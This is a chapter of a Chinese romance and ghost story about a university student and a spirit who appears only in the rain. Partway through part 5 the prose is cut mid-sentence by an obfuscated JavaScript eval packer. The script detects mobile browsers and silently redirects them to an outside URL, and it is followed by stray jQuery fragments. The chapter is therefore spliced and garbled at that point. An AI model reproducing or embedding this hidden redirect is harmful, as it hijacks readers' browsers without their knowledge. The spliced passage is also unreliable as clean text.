1
5月13日，小雨
方野收起雨伞，在走廊边缘伸出去抖了抖。雨水一串一串地流下来，落入地上的水洼。
自五月开始，广城进入连绵的雨季，直到九月才能结束。没有在广城生活的人会喜欢这段日子，方野曾经也不例外。
他抖完水，握着伞，独自站在一楼走廊四处张望。雨幕蒙蒙，往来的学生也都脚步匆匆，只有他站在那，显得有点另类。
“嘿。”方野左耳后忽然有个人对他轻轻叫了一声，“看什么呢？”
方野猛地回头，原北就站在他身后，上半身白衬衫外罩着一件浅灰色外套，袖口挽着，脸上笑意微微：“在找我吗？”
他明知故问。
方野手松了点，仔细地看了看他，才说：“你来了。”
原北和之前没什么变化，乌黑的发和眼，皮肤白得像玉。他虽然站在走廊里，整个人却依旧蒙着一层湿漉漉的水汽，仿佛每时每刻都处于雨中。
上次见面还是半个多月前，之后广城难得有了长长的晴天。直到雨季来临，原北终于又出现了。
“你是不是该去上课了？”原北问他。
方野这才慢吞吞地把伞收好：“我在等你。”
原北手插在口袋里，面朝方野，在长长的走廊上倒着走。他说：“等我做什么，只要下雨，我就会出现。”
说话间，走廊对面过来几个女生。她们怀里抱着电脑书本，就像没看见原北似的，直直和他迎面撞上——随后就像穿过一个并不存在的幻影，有说有笑地离开。
“……刚刚那人在自言自语吗？好吓人。”
“这不是数学院的楼吗？学数学学的吧。”
方野充耳不闻，拿着书走进教室，在侧后方坐下，里面靠墙的座位空着。他把一本书推过去，别人眼里空荡荡的座位，其实原北就坐那里，无聊地翻着书，陪他听课。
他毕竟不是数学专业，很快就觉得无聊。方野把平板电脑打开，给他放电影看。
下课的时候，方野故意磨蹭，等人走得差不多了，问原北：“中午吃什么？”
原北既碰不到任何东西，也无需进食。不过方野喜欢让他来点菜，原北选择什么，他就吃什么。
原北看向他，说了什么，可方野只看到口型，没有声音。先于理智的恐慌感支配了他，让他伸手去抓原北的袖口，但原北有点遗憾地对他摊开手，目光望向窗外。
雨停了，原北也像太阳下的水汽，轻飘飘杳无踪迹。
2
5月14日，阴
原北没有出现，方野上了一天的课。回宿舍后室友小心翼翼问他是不是作业太多要猝死，他疲惫地摇了摇头，简单洗漱后躺到床上。
天气预报说零点后会下雨。
3
5月15日，小雨转中雨
半夜时沙沙的雨声从没关严的窗户缝里传到室内，方野忽地惊醒，拿起手机，照见阳台外面坐着一个人影。
他下床推开阳台的门，坐在阳台边，伸手去接雨的原北，仰头静静看着天幕。
“吵醒你了？”
哪怕除了方野以外的人都看不见他、听不见他，原北还是放轻声音，“你看，下雨，我又来了。”
他屈起双腿，头靠在膝盖上，换了一身浅蓝色的睡衣，黑发在风雨中飘动，对方野伸出手。
方野尝试去握他的手，只触到冰凉的水汽。
尽管已经尝试过无数次，可每次触碰原北失败时，方野还是会没原因地难过。
如果可以碰一碰手指就好了。
这个世界上，只有下雨天才能互相陪伴的人。
“到里面来吧。”方野说，“外面太冷了。”
“很冷吗？”原北笑笑，“感觉不到，走吧，你明天还有课呢。”
他轻轻哼着歌，看起来并不为这种不定期的见面苦闷。如果见面了，那自然很开心，如果不下雨，据原北所说，他就在睡觉。
漫长的无雨时间，就只有方野清醒地等待。
方野躺在床上，缺乏睡意。忽然间他的脸侧掠过微凉的水汽，原北不知什么时候，坐在他床边。
黑暗里，窗外一点点朦胧的光，照得原北的轮廓半透明一样。
“怎么不睡觉？”
“睡不着。”
“在想什么？”
“想你。”
原北啊了一声，有点无奈似的。他说：“别想了，明天一天都有雨，我不会走的。”
4
方野不知道原北是什么时候处于这种状态的。
他来到千里之外的广城上大学，大一上学期的一个雨天，过十字路口时看到有个男生，伞也不撑，只穿着白色短袖和牛仔裤，低着头走在路中央。
恰好绿灯亮起，他面对汹涌的车流躲都不躲，直接迎面撞了上去。匪夷所思的是，路人都无动于衷，那些车也不曾减速，就这样……穿过他潮湿的身体。
已经拿出手机打算报警的方野愣住了。
出于好奇，他穿过路口追上了这个神秘的男生，却在伸手拍他的肩膀时落了个空。
方野也不明白那天他怎么会有多管闲事的闲心，正常来说，能路过帮忙打一个120就已经是他道德的极限。
回过头的人，黑发有些凌乱地贴在脸侧，眼睛讶异地睁大。过了会，他问：“你能看见我？”
方野也愣住，不顾路人眼里的场景有多么诡异，他说：“是啊。”
随后，原北露出了对他的第一个，也是认识以来最真诚的笑容。
“你好，我是原北，你是第一个能看到我的人。不介意的话，我们一起走一段吧。”
就像都市传说，或者什么灵异故事。只在雨天才能出现的没有实体的原北，和世界上唯一能看见他，和他说话的方野。
幸好广城多雨，这种见面会比较频繁。
他问过原北很多问题，但原北大部分都想不起来。他有记忆时就穿梭在雨水中，单向接触这个世界，雨停时便睡觉，一直等到下一场雨再醒来。
5
5月21日，小雨
停了两天的雨又下起来了。方野起得很早，却没见到原北。他感到焦虑，因为往常不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15658332|172820||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
成文的约定是，一旦下雨，原北就会像雨滴一样出现在他身边。
方野抓起伞下楼。宿舍楼下是一排郁郁葱葱的水杉树，他走过拐角，看见原北站在树下。
今天原北在衬衫外罩了件卡其色马甲，他低头看了会，又抬头向上望。方野走过去，明知他不会淋到雨，还是不由自主地把伞倾斜过去。
原北回头对他笑笑，原来树下不知被谁放了个明黄色的塑料玩偶，吸引了原北的注意力。
很巧，方野今天穿的上衣和他的马甲是同样的颜色。原北站到他面前比了比，说道：“今天很搭配嘛。”
方野耳后一热，应了声。见到原北后，他的心才定下来。
“这么急地跑下楼，找我？”
“嗯。”
“为什么，怕我不见了？”
“……怕你丢下我。”
原北就笑着叹气，走了几步，整个人笼在蒙蒙细雨里：“你放心，如果要离开的话，我会跟你说的。不用怕嘛，本来就只有你能看见我，假如不见了，就当我回去一直睡觉好了。”
方野几乎有点哀求他了：“别这样说吧。”
“人会死，鬼也会死啊。”原北伸开手，“不过目前看我死不了，那就这样吧。”
方野不想听这些话。
“我觉得你没有死，你是真实存在的，就在世界的某个地方。”
原北：“是吗，那很好啊，这样我们总算可以握手了。”
方野听了，无法忍耐地又伸出手。原北有点无奈地看了看他，也伸出手，给他留下掌心淡淡的潮湿。
“不怕别人看到你说你神经病？”
方野摇头。
原北又倒着走了几步，看他，突然笑出来，好像很开心的样子，说道：“你真的挺好玩的。”
方野被他语气里的亲昵弄得有点不知所措。
6
5月30日，大雨
大雨来得比天气预报还早、还猛烈，水像从天上往下倒。方野暂时离开不了图书馆，独自坐在角落，心神不宁。
他有作业要交，任务繁重。图书馆又是一人一座，管理员时不时巡逻，再占一个座位很麻烦。于是原北悄无声息地去了楼下阅览室。
方野把作业告一段落，放下笔，去楼下找原北。
阅览室有个角落会放电影，影片都是图书馆资料库的，大多是老电影，但原北还看得颇有兴致。
清洁阿姨正好打扫到沙发那里，用纸巾擦了擦沙发，疑惑地说：“哪个学生，水洒在上面也不擦……”
原北站在旁边，没有办法，只好对阿姨双手合十，道了个她看不见的歉。
雨太大，原北身上水汽愈盛。方野站在他身旁，都能感觉自己也在被水汽浸染。
“喂。”原北轻轻叫他，“转头。”
方野下意识听从了，下一刻，一点凉凉的东西，碰到了他的脸。
不是纯粹的水汽，而是隐约的触感，在方野脸上留下了一滴水渍。
他愣在原地，反而是原北看了看手，很平静地笑道：“哦？我好像可以碰到你了。”